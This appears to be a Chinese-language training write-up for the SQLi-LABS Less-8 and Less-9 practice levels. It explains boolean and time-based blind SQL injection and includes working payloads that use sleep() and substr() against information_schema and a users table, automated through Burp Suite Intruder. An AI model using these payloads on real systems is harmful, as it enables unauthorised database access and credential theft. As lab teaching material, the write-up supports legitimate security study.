SQLi-LABS Less-8 Blind- Boolean- Single Quotes- String
使用布尔盲注解决
这一题见题知意,布尔盲注-单引号,没有太多内容可以讲。
与前面不同的是,这一关中输入的值不正确时会不显示任何的反馈,不过输入正确时会有You are in…的反馈,可以直接使用布尔盲注。
闭合字符是单引号,判断过程可以参考我以前的帖子。
输入正确时:
输入错误时:
SQLi-LABS Less-9 Blind- Time based- Single Quotes- String
这一关中,无论我们的输入是正确还是错误,都会返回You are in…,布尔盲注用于true和false两种情况时网页分别有不同反应的时候, 而这道题中,两种情况都是一样的反应 ,这时候就需要用到延时盲注 了。
时间盲注
时间注入和布尔盲注没有太多的差别,既然true和false都不会有页面上的反应,那么我们手动加一些参数,让页面上有一些反应使两种情况区分开就好。
时间盲注使用了if函数和sleep()函数来实现这个想法。if(a,sleep(10),1)
如果a结果是真,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。
1.判断闭合字符
我们可以通过时间盲注来判断闭合字符,使用时间盲注相比于直接使用布尔盲注会更加耗时。
?id=1' and sleep(1)--+
使用双引号、单引号、括号进行尝试,发现唯有id=1'
时回应是1秒以上,这说明当后面是单引号时这个语句变得完整了,单引号就是这一关的闭合字符。
2.注入逻辑
接下来的注入和布尔盲注基本没什么区别,通过是否有延时来证明返回值为true或false。
?id=1' and if((database()='security'),sleep(1),1)-- +
盲注遍历字符爆数据库名
?id=1' and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',sleep(1),1)-- +
3.使用burpsuit进行时间盲注
3.1爆数据库名长度
浏览器中,在注入点写入sql注入语句,访问网址,使用burpsuit抓包。
此处sql注入语句若未转码,服务器会读取不了,从而盲注失败!
作者注: 原先我想先抓包,然后在burpsuit中写sql注入语句,之后使用burpsuit的转码功能进行转码以达到同样效果,不过burpsuit内置的转码似乎与浏览器直接传过来的转码有一点区别,最后只好在浏览器把注入语句写好再进行抓包。
(左:浏览器传来可以被服务器正确读取的转码,右:burpsuit自带的转码)
发送到intruder,添加payload位置。
配置payload类型为数值,可以将to设置得大一些,毕竟不排除有的数据库名大于10的情况。
然后点击攻击,在弹出的弹窗中,将“列”选项卡的“接收到响应、响应完成”分别打开,用以查看响应时间。
将结果以“接收到响应”排列,可以看到,排在第一位的就是我们需要的盲注结果,说明了我们的目标数据库名是8位字符。
3.2爆数据库名
同理,爆数据库名。
?id=1' and if(substr(database(),1,1)='a',sleep(1),1)-- +
得出获得数据库名字符,按照payload1给的顺序排列,得出数据库名为“security”。
3.3爆表名
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)-- +
作者的话: 可以将结果选中然后保存到结果表,使用excel打开并排序,(也许…)可以省去手动排序的时间
3.4爆字段名
?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='e',sleep(3),1)--+
获得表users的字段名为id,username,password。
3.5爆字段内容
?id=1' and if(substr((select group_concat(username) from users),1,1)='e',sleep(2),1)--+
获取到username如下。
3.6总结
使用burpsuit可以进行时间盲注,同样地也可以进行布尔盲注,布尔盲注中重在找到正确的成功标志
,时间盲注中重在使用正确的时间盲注代码
。